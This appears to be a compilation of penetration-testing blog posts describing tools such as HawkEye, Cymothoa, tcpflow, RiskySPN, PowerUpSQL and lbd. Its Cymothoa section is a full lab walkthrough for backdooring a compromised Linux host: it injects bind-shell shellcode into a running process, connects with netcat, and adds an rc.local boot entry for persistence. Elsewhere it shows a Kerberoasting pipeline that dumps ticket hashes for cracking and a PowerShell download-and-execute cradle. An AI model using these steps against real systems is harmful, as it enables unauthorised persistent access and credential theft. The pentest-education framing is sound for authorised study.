Hawkeye – A Tool To Crawl The Filesystem Or A Directory

HawkEye is a simple tool to crawl the filesystem or a directory looking for interesting stuff like SSH Keys, Log Files, Sqlite Database, password files, etc. Hawkeye uses a fast filesystem crawler to look through files recursively and then sends them for analysis in real time and presents the data in both json format and simple console output. The tool is built with a modular approach making it easy to use and easily extensible.

It can be used during pentests as a privilege escalation tool to look through the filesystem finding configuration files or ssh keys sometimes left by the sys-admins.

Features

  1. Simple and modular code base making it easy to contribute.
  2. Fast And Powerful Directory crawling module doing real-time analysis
  3. Easily extensible and vast scanner (Thanks to Gitrob)
  4. Outputs in various formats

Also Read Maintaining Access to a Linux Machine Using Cymothoa – Post Exploitation

Installation Instructions

The installation is easy. Git clone the repo and run go build.

go get github.com/Ice3man543/hawkeye

Upgrading

If you wish to upgrade the package you can use:

go get -u github.com/Ice3man543/hawkeye

Hawkeye Usage

Hawkeye needs a directory to begin with. A directory can be supplied with -d flag. For example –

./hawkeye -d <directory>

To run it against my home directory, i can pass /home/ice3man as the argument.

./hawkeye -d /home/ice3man

 ✘ ice3man@TheDaemon  ~/tmp  ./hawkeye -d /home/ice3man  

 _  _                _    ___           
| || | __ _ __ __ __| |__| __|_  _  ___ 
| __ |/ _  |\ V  V /| / /| _|| || |/ -_)
|_||_|\__,_| \_/\_/ |_\_\|___|\_, |\___|
                              |__/     
	    Analysis v1.0 - by @Ice3man

[13:31:59] HawkEye : An advance filesystem analysis tool
[13:31:59] Written By : @Ice3man
[13:31:59] Github : https://github.com/Ice3man543


[Log file] /home/ice3man/.tplmap/tplmap.log
[Log file] /home/ice3man/burpsuite-master/hs_err_pid3028.log
[Log file] /home/ice3man/.log/jack/jackdbus.log
[Shell command history file] /home/ice3man/oldvps/root/.bash_history
[Shell configuration file] /home/ice3man/oldvps/root/.bashrc

You can use -v flag to show verbose output. You can also get json output using -o flag.

[
    {
        "path": "/home/ice3man/oldvps/root/.bash_history",
        "description": "Shell command history file",
        "comment": ""
    },
    {
        "path": "/home/ice3man/oldvps/root/.profile",
        "description": "Shell profile configuration file",
        "comment": "Shell configuration files can contain passwords, API keys, hostnames and other goodies"
    },
    {
        "path": "/home/ice3man/oldvps/root/.bashrc",
        "description": "Shell configuration file",
        "comment": "Shell configuration files can contain passwords, API keys, hostnames and other goodies"
    },
]

 

Curate – A tool for fetching archived URLs

Curate is a tool for fetching archived URLs and to be rewritten in Go.

Curate Initial set-up one-liner

This will clone this repository and then move all scripts to /usr/local/bin.

$ git clone git@github.com:EdOverflow/curate.git \
&& cp curate/curate /usr/local/bin/ \
&& echo "You can delete the ./curate/ folder now."

Once you have are done with this one-liner, make sure to include your VirusTotal API key in your .bashrc file. The variable should be named VIRUS_TOTAL_API_KEY.

Also Read Maintaining Access to a Linux Machine Using Cymothoa – Post Exploitation

Usage

To fetch archived URLs simply run it and specify the target host.

 $ curate <host>
 $ curate example.com

If you want to search for strings straight away in the output you can also specify your search term or regular expression by using the -r flag.

$ curate <host> -r <search term>
$ curate example.com -r example

List of search terms

Curate outputs the results into a curate.txt file which allows you to easily grep through the URLs for keywords. Here are some ideas for things to grep for in curate.txt.

  • admin
  • password
  • key
  • api
  • hmac
  • url
  • path
  • redir
  • php
  • id=

It is advisable to exclude images and stylesheets from your searches by piping everything into ‘grep -v’.

Disclaimer

This project is made for educational and ethical testing purposes
only. Usage of this tool for attacking targets without prior mutual
consent is illegal. Developers assume no liability and are not
responsible for any misuse or damage caused by these scripts.

Maintaining Access to a Linux Machine Using Cymothoa – Post Exploitation

Cymothoa is a post-exploitation tool. It can be used to maintain access to an exploited system. Cymothoa injects a variety of shellcodes to running processes in a system. Almost all nix systems most of the Linux variants can be backdoored with cymothoa.

Cymothoa uses ptrace library in nix systems to evaluate running processes & inject shellcodes. The greatest advantage of this tool is that we need not create a separate process for the backdoor. While a process is running itself, we can infect a process and start a backdoor. Say for example, if we exploited a web server, hell sure apache2 or httpd or nginx or whatever the web server program is, will be turned on during boot. So we try to inject cymothoa to such service daemons & automate its start during boot. Let’s see it in action, but first, learn a bit about cymothoa

Homepage: http://cymothoa.sourceforge.net/

Options

Syntax: cymothoa -p <pid> -s <shellcode_number> [options]
Main options:
	-p	process pid
	-s	shellcode number
	-l	memory region name for shellcode injection (default /lib/ld)
	  	search for "r-xp" permissions, see /proc/pid/maps...
	-m	memory region name for persistent memory (default /lib/ld)
	  	search for "rw-p" permissions, see /proc/pid/maps...
	-h	print this help screen
	-S	list available shellcodes

Injection options (overwrite payload flags):
	-f	fork parent process
	-F	don't fork parent process
	-b	create payload thread (probably you need also -F)
	-B	don't create payload thread
	-w	pass persistent memory address
	-W	don't pass persistent memory address
	-a	use alarm scheduler
	-A	don't use alarm scheduler
	-t	use setitimer scheduler
	-T	don't use setitimer scheduler

Payload arguments:
	-j	set timer (seconds)
	-k	set timer (microseconds)
	-x	set the IP
	-y	set the port number
	-r	set the port number 2
	-z	set the username (4 bytes)
	-o	set the password (8 bytes)
	-c	set the script code (ex: "#!/bin/sh\nls; exit 0")
	  	escape codes will not be interpreted...
Payloads

0 - bind /bin/sh to the provided port (requires -y)
1 - bind /bin/sh + fork() to the provided port (requires -y) - izik <izik@tty64.org>
2 - bind /bin/sh to tcp port with password authentication (requires -y -o)
3 - /bin/sh connect back (requires -x, -y)
4 - tcp socket proxy (requires -x -y -r) - Russell Sanford (xort@tty64.org)
5 - script execution (see the payload), creates a tmp file you must remove
6 - forks an HTTP Server on port tcp/8800 - http://xenomuta.tuxfamily.org/
7 - serial port busybox binding - phar@stonedcoder.org mdavis@ioactive.com
8 - forkbomb (just for fun...) - Kris Katterjohn
9 - open cd-rom loop (follows /dev/cdrom symlink) - izik@tty64.org
10 - audio (knock knock knock) via /dev/dsp - Cody Tubbs (pigspigs@yahoo.com)
11 - POC alarm() scheduled shellcode
12 - POC setitimer() scheduled shellcode
13 - alarm() backdoor (requires -j -y) bind port, fork on accept
14 - setitimer() tail follow (requires -k -x -y) send data via upd

Lab: Inject Backdoor into a Compromised Linux System

Scenario: We have an attacker system running Kali linux with IP 192.168.0.103, a target Linux system(metasploitable 2.0) with IP 192.168.0.102. The story continues after the victim is exploited. I have already got a meterpreter shell connected to the victim.

I will explain in brief the procedure for this. Take a look at the following figure.

 

cymothoa
Post Exploitation & Backdooring Procedure with cymothoa.

Yes, that is the algorithm. I want you to understand the procedure rather than just copying the steps. We first exploit the system gain access to it. Then the rest is all about Maintaining access.

Then we can try uploading the existing cymothoa binary(/usr/bin/cymothoa or /usr/share/cymothoa) to the target & try executing it. But it failed for me all the time. So if it does, proceed to step 3 below. If it doesn’t, don’t worry, we have access to the system, we will download a new copy & install it.

After installation, try executing it. If the cymothoa banner comes, then the installation is successful. After this, we try infecting a running process & see if we can get a connection. Mostly this will succeed. If it doesn’t just try it with another process. But the problem with this is it only lasts for the present & not for the future.

Meaning, if the process dies or the system is rebooted, we won’t get the backdoor running. For this, we create a shell script and edit some boot time configurations in the victim & make a process infected each time the system starts or reboots. Thus we can have a persistent backdoor.

Enough Talk, Lets Attack!

Step 1: Download Cymothoa & Upload it to Victim

Download the latest version from the link below using the web browser in Kali Linux attacker machine.

Download Link: http://sourceforge.net/projects/cymothoa/files/cymothoa-1-alpha/

cymothoa
Cymothoa being Downloaded in Kali Linux Attacker machine.

The default location is /root/Downloads. Remember this.

Now I have a meterpreter session running(How to gain access in Exploitation section.). Upload the downloaded archive to the victim. Optionally you can also download it directly to the victim (if you know).

meterpreter > upload Downloads/cymothoa<press tab> <space> /root/
meterpreter > shell
command: tar -xvf cymothoa< Enter full name here, Pressing tab key Doesen't work>
cymothoa
Uploading the archive to the victim.

 

Note: Every time you drop into a shell from meterpreter, the shell has limited capabilities. Tab key doesn’t work & vim doesn’t return a display. It crashes if we open something in vim or nano.

Step 2: Install Cymothoa & Execute.

While we are in the shell. Change directory to the location we uploaded the archive and give execute permissions. Then execute the “Makefile”.

command cd <location> 
command: chmod +x cymothoa<full name> -R 
command: ./Makefile
cymothoa
Change permissions

Now try to execute the file. Remember to be in the directory where you uploaded the archive.

Command: ./cymothoa
cymothoa
Cymothoa Installed

 

Step 3: Infect a running process.

Now find the processes running in the system & note the process id (pid).

command: ps -e
Cymothoa
Running Processes in the victim

Now, infect the process with cymothoa.

syntax: ./cymothoa -p <pid> -s <shellcode number> -y <listening port>
command: ./cymothoa -p 5476 -s 1 -y 100

Tip: Remember to check whether the listening port(-y option) is already in use.

Now check if the port is open

command: netstat -l | grep 100<your port here>
cymothoa
Infecting a process with Cymothoa

 

Step 4: Try a netcat connection from the attacker machine.

Open up a new terminal in Kali Linux attacker system & initiate a netcat connection to the port we specified

command: nc 192.168.0.102 100 <give your victim ip & port>
cymothoa
Netcat Connection to Cymothoa Backdoor

There you have…!

Step 5: Prepare script, upload it & set up execution.

This is the hard part. If you have any idea about shell scripting you can understand. Or else try to learn some. Anyway, the script is very simple. It first extracts the pid of a service or a daemon. Checks if it is a number or not.

Sometimes a process will have child processes. So there will be more than one pids available. In that case it is essential to extract one pid alone from a list of pids. Then the script assigns the pid to a variable (say q here). Then executes cymothoa with value of the variable q as the value for the “-p” option. Here is the script.

#!/bin/bash
p=`cat /var/run/crond.pid`
#extracts the pid. Here replace the last with a process of your desire.
#example: p=`cat /var/run/apache2.pid`.
#Remember the chracter before cat & after pid is a backtick & not an inverted comma.
if [ "$p" -eq "$p" ] 2>/dev/null; then #checks whether it's a number or not.
q=$p
else
q=`(echo $p | awk '{print $2}')` #takes the next row which will be a number. Here also it's a backtick
fi
echo $q
exec /cymothoa-1-alpha/cymothoa -p $q -s 1 -y 100 # make sure to give absolute path of cymothoa in the victim.
exit

Things to note:

  • When assigning the output of a command to a variable, a backtick is used.
  • Always give absolute & full paths whenever needed.
  • You can choose any service. A service which is likely to start at boot like apache2/crond/vsftpd/mysqld etc is appropriate.
  • Pid location is standard unix systems is ” /var/run/process.pid “.
  • Make sure the listening port(-y option) will be unused by other services. Giving port 80 will be a bad idea if it’s a web server.

Copy the script to a file in the kali linux machine. Edit it accordingly and save it.

cymothoa
The Script

Drop back to meterpreter shell by pressing Cntrl+c & upload the script to /etc/init.d

meterpreter> upload cym.sh /etc/init.d/ <replace cym.sh by your filename>

Drop to the shell again by giving shell command & change permissions.

meterpreter> shell 
chmod +x /etc/init.d/cym.sh <replace by your file>
cymothoa
Uploading the Script

Now is the big part. We have to enable the script to run during boot time. this is simple, just add an entry to /etc/rc.local. But vim or nano will not be available.

Also if we cat the file(rc.local) there is a statement “exit 0” at the end. Any statements appended after this will not be executed. So we have to cut the last line, append our new line & then append the old exit line.

command: sed -i '$d' /etc/rc.local 
command: echo "sh /etc/init.d/cym.sh" >> /etc/rc.local 
command: echo "exit 0" >> /etc/rc.local

Ensure it by

command: tail /etc/rc.local
cymothoa
Editing the Configuration
cymothoa
Editing the Configuration

Note: Here also give absolute paths when writing it to the rc.local file.

All SET..!

Now while in the shell, issue

command: /etc/init.d/rc.local start

If every step were right, you got it. Then try netstat while within the shell & see if the port is listening. If you are permitted, reboot the machine so that the shell & meterpreter session dies. Open a netcat to the victim after some time. You will be amazed.

Phew ! That was long but you will get very good results. I had to do a lot of research for each steps in the process & would definitely like your feedback. Try this out & please subscribe, comment & follow this blog everywhere.

References:

https://nixos.org/nix/

http://www.cyberciti.biz/faq/unix-linux-bsd-appleosx-bash-assign-variable-command-output/

http://beginlinux.com/server/ubuntu/how-to-run-scripts-at-ubuntu-startup

http://scx020c07c.blogspot.in/2012/09/backdooring-using-cymothoa.html

http://stackoverflow.com/questions/806906/how-do-i-test-if-a-variable-is-a-number-in-bash

Tcpflow – To Monitor, Capture & Dump Packets

Tcpflow is a TCP/IP Demultiplexer. Tcpflow is used to record traffic mainly between 2 hosts although it can be used to monitor thousands of connections. Tcpflow differs from other tools by actually capturing the real data and dumping it to a file we specify.

It can be then further used for other analysis purposes. One more advantage of tcpflow is it effectively reconstructs broken packets. Also, tcpflow has a variety of filter options. We can filter out the capture in a lot of different ways and that too very easily.

Normally most of the sniffing attacks include arp-poisoning as the first stage. However, tcpflow captures almost all data without actively poisoning the subnet or network.

Options

Syntax: tcpflow [options] [expression] [host]
-b: max number of bytes per flow to save

-c: console print only (don't create files)

-C: console print only, but without the display of source/dest header

-d: debug level; default is 1

-e: output each flow in alternating colors(Blue=client to server;Red=server to client;Green=Unknown)

-f: maximum number of file descriptors to use

-h: print this help message

-i: network interface on which to listen

-p: don't use promiscuous mode

-r: read packets from tcpdump output file

-s: strip non-printable characters (change to '.')

-v: verbose operation equivalent to -d 10

Source: https://github.com/simsong/tcpflow

Reference: http://forensicswiki.org/wiki/Tcpflow

Lab 1: Basics

This lab demonstrates basic console-logging of data to and from the target. Here our target IP is 192.168.0.100. Also, domain/hostnames are acceptable.

command tcpflow -ce host 192.168.0.100<your target here>

Note: If you are using any other interface make sure to give -i option & the corresponding interface.

tcpflow
TCP flow starting capture

Suppose we need all the HTTP traffic in the network,

command: tcpflow -ce port 80
tcpflow
All HTTP traffic in the network in alternating colors

We can use logical comparisons also during capturing. For example, we want to see all the HTTP & https traffic from & to the host, we issue:

Command: tcpflow -ce host 192.168.0.100<your target> and port 80 or port 443.

Here the command selects the host “192.168.0.100”, do an “AND” operation to the condition: port 80 “OR” port 443. Specifically, HTTP or https traffic from & to host(192.168.0.100) is captured and displayed. Remember HTTP runs on port 80 & https on 443.

tcpflow
Selecting all HTTP & https traffic from and to the specified host.

Lab2: Dump Data to a local folder

This lab demonstrates on dumping the all the data between the target. Tcpflow dumbs all data into the current working folder(execute the command:pwd to know your current present working directory). So let’s create a folder for dumping the data and then execute tcpflow.

Step 1: Create a new directory

Command: mkdir tcpflowdata<your name here>

Step 2: Change to the new directory

Command: cd tcpflowdata<yourname>

Step 3: execute tcpflow

Command: tcpflow host 192.168.0.103<your target here>
tcpflow
Making the directory for tcpflow output.

You can see all files being dumped into the directory with the host we have given as the beginning of the filename.

tcpflow
Capture files in the specified folder

The advantage from this tool is that any clear text data like HTTP authentication or telnet connection or smb authentication etc will be visible to you. Once you dump all the traffic, you can view it later and analyze it at a later point in time and whatnot? You can load it to Wireshark or any tool like xplico for forensic analysis etc.

Try for yourself, start tcpflow, and go to any HTTP site(not facebook or twitter) maybe your local router login page. Give password and analyze the tcpflow output.

Don’t forget to Subscribe, Like us on FB, Follow us on Twitter, G+, and comment here.

Mallet – A Framework For Creating Proxies

Mallet is a tool for creating proxies for arbitrary protocols, along similar lines to the familiar intercepting web proxies, just more generic.

It is built upon the Netty framework, and relies heavily on the Netty pipeline concept, which allows the graphical assembly of graphs of handlers. In the Netty world, handler instances provide frame delimitation (i.e. where does a message start and end), protocol decoding and encoding (converting a stream of bytes into Java objects, and back again, or converting a stream of bytes into a different stream of bytes – think compression and decompression), and higher level logic (actually doing something with those objects).

By following the careful separation of Codecs from Handlers that actually manipulate the messages, Mallet can benefit from the large library of existing Codecs, and avoid re-implementation of many protocols. The final piece of the puzzle is provided by a Handler that copies messages received on one pipeline to another pipeline, proxying those messages on to their final destination.

Also Read PacVim – A Game That Teaches You Vim Commands

Of course, while the messages are within Mallet, they can easily be tampered with, either with custom Handlers written in Java or a JSR-223 compliant scripting language, or manually, using one of the provided editors.

Building Mallet

Mallet makes use of Maven, so compiling the code is a matter of

mvn package

To run it:

cd target/
java -jar mallet-1.0-SNAPSHOT-spring-boot.jar

There are a few sample graphs provided in the examples/ directory. The JSON graphs expect a JSON client to connect to Mallet on localhost:9998/tcp, with the real server at localhost:9999/tcp. Only the last JSON graph (json5.mxe) makes any assumptions about the structure of the JSON messages being passed, so they should be applicable to any app that sends JSON messages.

The demo.mxe shows a complex graph, with two pipelines, both TCP and UDP. The TCP pipeline is built to support HTTP and HTTPS on ports 80 and 443 respectively, as well as WebSockets, while relaying any other traffic directly to its destination. The UDP pipeline is built to process DNS requests on localhost:1053/udp, replace queries for google.com with queries for www.sensepost.com, and forward the requests on to Google DNS servers.

RiskySPN – Collection of PowerShell Scripts Focused on Detecting and Abusing SPNs Accounts

RiskySPN is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.

Also Read Metasploit Framework – A Beginner’s Guide for Penetration Testing, Exploit Development and Vulnerability Research

RiskySPN Usage

Install the module

Import-Module .\RiskySPNs.psm1
Or just load the script (you can also IEX from the web)
. .\Find-PotentiallyCrackableAccounts.ps1

Make sure Set-ExecutionPolicy is Unrestricted or Bypass

Get information about a function

Get-Help Get-TGSCipher -Full

All functions also have the -Verbosemode

Search vulnerable SPNs

Find vulnerable accounts
Find-PotentiallyCrackableAccounts

Sensitive + RC4 = $$$

Generate full detailed report about vulnerable accounts (CISO <3)
Export-PotentiallyCrackableAccounts

Get tickets

Request Kerberos TGS for SPN
Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"
Or
Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher

The fun stuff 🙂

Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3

PowerUpSQL Tool kit to Audit SQL Server for Weak Configuration Auditing, Privilege Escalation on Scale, and Post Exploitation Attacks

PowerUpSQL includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on the scale, and post exploitation actions such as OS command execution. It is intended to be used during internal penetration tests and red team engagements.

However, PowerUpSQL also includes many functions that can be used by administrators to quickly inventory the SQL Servers in their ADS domain and perform common threat hunting tasks related to SQL Server.

Also Read Burpsuite – A Beginner’s Guide For Web Application Security or Penetration Testing

Setting Up PowerUpSQL

  • Install it from the PowerShell Gallery. This requires local administrative privileges and will permanently install the module.

Install-Module -Name PowerUpSQL

  • Download the project and import it. This does not require administrative privileges and will only be imported into the current session. However, it may be blocked by restrictive execution policies.

Import-Module PowerUpSQL.psd1

  • Load it into a session via a downloading cradle. This does not require administrative privileges and will only be imported into the current session. It should not be blocked by executions policies.

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

Note: To run as an alternative domain user, use the runas command to launch PowerShell first.

runas /noprofile /netonly /user:domain\user PowerShell.exe

Getting Command Help

  • To list functions from the module, type: Get-Command -Module PowerUpSQL
  • To list help for a function, type: Get-Help FunctionName

PacVim – A Game That Teaches You Vim Commands

PacVim is a free open source, text-based game that teaches you vim commands in a simple and fun manner.  In spite of the fact that Vim is a prominent content editor on Linux systems, individuals still think that its difficult to learn, it has a precarious expectation to learn and adapt particularly the propelled highlights, a considerable measure of Linux amateurs are actually apprehensive of taking in this powerful and highly recommended text editor.

Then again, so much exertion has been coordinated by the Tecmint and Linux community towards making Vim simple to learn; from making Vim instructional exercises, sharing valuable Vim use tricks and tips, to creating intelligent learning web-applications and command line games, for example, PacVim.

PacVim is motivated by the well known and exemplary PacMan games, and keeps running on Linux and MacOSX. It causes you to extensively learn vim summons in a pleasant way. Its goal is pretty much like that of PacMan – you should move the pacman over every one of the characters on the screen while keeping away from the apparitions.

Also Read Metasploit Framework – A Beginner’s Guide for Penetration Testing, Exploit Development and Vulnerability Research

How to Install PacVim

To install PacVim game, you need to first install required Curses (graphics library) package on your Linux distribution using default package manager as shown.

$ sudo apt install libncurses5-dev libncursesw5-dev  [On Ubuntu/Debian]
# yum install ncurses-devel                          [On CentOS/RHEL]
# dnf install ncurses-devel                          [On Fedora =22]

Next, download PacVim source files by cloning its repository and install it as shown.

$ cd ~/Downloads
$ git clone https://github.com/jmoon018/PacVim.git
$ cd PacVim
$ sudo make install

After installing PacVim, you can start learning vim commands by running it from level 0 and the default mode is hard.

$ pacvim

Here are a few keys to move the cursor:

List of Implemented Commands

Key
Use
q quit the game
h move left
j move down
k move up
l move right
w move forward to next word beginning
W move forward to next WORD beginning
e move forward to next word ending
E move forward to next WORD ending
b move backward to next word beginning
B move backward to next WORD beginning
$ move to the end of the line
0 move to the beginning of the line
gg/1G move to the beginning of the first line
numberG move to the beginning of the line given by number
G move to the beginning of the last line
^ move to the first word at the current line
& 1337 cheatz (beat current level)

lbd – Tool to Detect Whether a Domain has Load Balancing Enabled

Load balancing(lbd) is the technique used in different services for balancing the load across different servers or NICs. It can be in any form. Load balancing can be done to evenly distribute workload through a series of Computer clusters.

Or it can be used within a single system to balance connections across a set of network interface cards or disks. In a cluster of computers, all systems will have all the data synced within them. A manager resource selects the specific node within the cluster when an incoming request is made.

The manager effectively transfers the connections to another node if the workload of any one of the nodes is high. Thus load balancing minimizes response-time & maximizes throughput. Load balancing can be implemented in both software & hardware levels.

Typical Load Balancing
Typical Load Balancing

Typically HTTP & DNS load balancing is done when a website has got a lot of incoming traffic like an e-Commerce website or the best example would be Facebook or Google itself.

These websites receive at least 10M requests per minute. So obviously a single host will not be able to serve all these requests. So their requests will be spread over a series of computing resource clusters in order to keep them running.

In a Security perspective, implementing HTTP  load balancing has the following major advantages:

DDos & Synflood Protection

Load Balancing enables SYN-Cookies which help in preventing DDoS Attacks. & SYN flood attacks.

SSL Offload & Acceleration

In TLS enabled sites, loads are much higher for the web server since a series of continuous asymmetric encryption is going on. This decreases the throughput, but load balancing balances the load across different nodes inside a cluster and distributes the excessive load due to TLS.

Hiding Error Pages

Some HTTP load balancers can hide the HTTP error pages from being seen outside.

Firewall & IPS

Implementing load balancing creates a layer between the client and the server. So direct connection between the client & server is not possible. So within this layer, firewalls & Intrusion Prevention Systems can be implemented. Moreover, a WAF also can be in the way.

Priority Queuing

Load balancers can prioritize the traffic & intelligently serve the incoming requests.

Referencehttps://en.wikipedia.org/wiki/Load_balancing_(computing)

https://www.citrix.com/glossary/load-balancing.html

Comming to the tool, an lbd is a short form for Load Balancing Detection. It is simply a shell script which automates a series of tests to verify whether a domain has load balancing.

Practical Use to a Pentester – lbd

One may ask why to detect load balancing during a pentest. The answer is that it eliminates inconsistency in results. The explanation is, Recon is the major part in every pentest. So it is very essential to determine the range of IP addresses which should be included in the scope of the test.

When dealing with servers with load balancing, the results of regular tests may vary due to the load balancer in work. Sometimes we may get different IP addresses when we ping the host at different times during a test. This is because a DNS-load balancer might be in place.

Missing this fact may prove fatal. Moreover, when determining the infrastructure of the target, we may miss this critical fact and as said earlier, we may miss the presence of an IDS/IPS or a Firewall in between the outside world & the target server.

Simply it may be configured to allow all HTTP traffic so that we are not able to detect it.

Referencehttp://www.sans.org/reading-room/whitepapers/testing/identifying-load-balancers-penetration-testing-33313

Options

Syntax: lbd targetdomain port(defaults to 53 & 80) <options>

If you are interested to get under the hood, try the following

cat /usr/bin/lbd

Lab: Enumerate a domain and detect whether it has load balancing enabled

This is simple detection. Let our target be Microsoft’s bing this time.

command: lbd bing.com 80
lbd
Load Balancing Detection
lbd
Load Balancing Detection

Try for yourself. Detect whether the e-Commerce company Amazon has load balancing on its web servers. Remember not to harm them or you may face consequences.

CGPwn – Ubuntu VM For Hardware Hacking, RE and Wargaming

CGPwn is a lightweight VM for hardware hacking, RE (fuzzing, symEx, exploiting etc) and wargaming task. Tools included in CGPwn;

Fire up the VM

git clone https://github.com/0xM3R/cgPwn
cd cgPwn
vagrant up
... Grab a beer and relax until everything is getting setup for you ;)
vagrant ssh

CGPwn Default settings

By default, personal dotfiles are installed onto the VM. Simply comment out the following lines in cgPwn.sh if you don’t want my settings.

Also Read Ua-tester – A tool for User Agent WAF, IDS/IPS, Redirection testing

# Personal config
sudo apt-get -y install stow
cd ~
rm .bashrc
git clone https://github.com/0xM3R/dotfiles
cd dotfiles
chmod a+x ./install.sh
./install.sh

Shared folder

Drop files in the sharedFolder folder on your host to find them on your VM at /home/vagrant/sharedFolder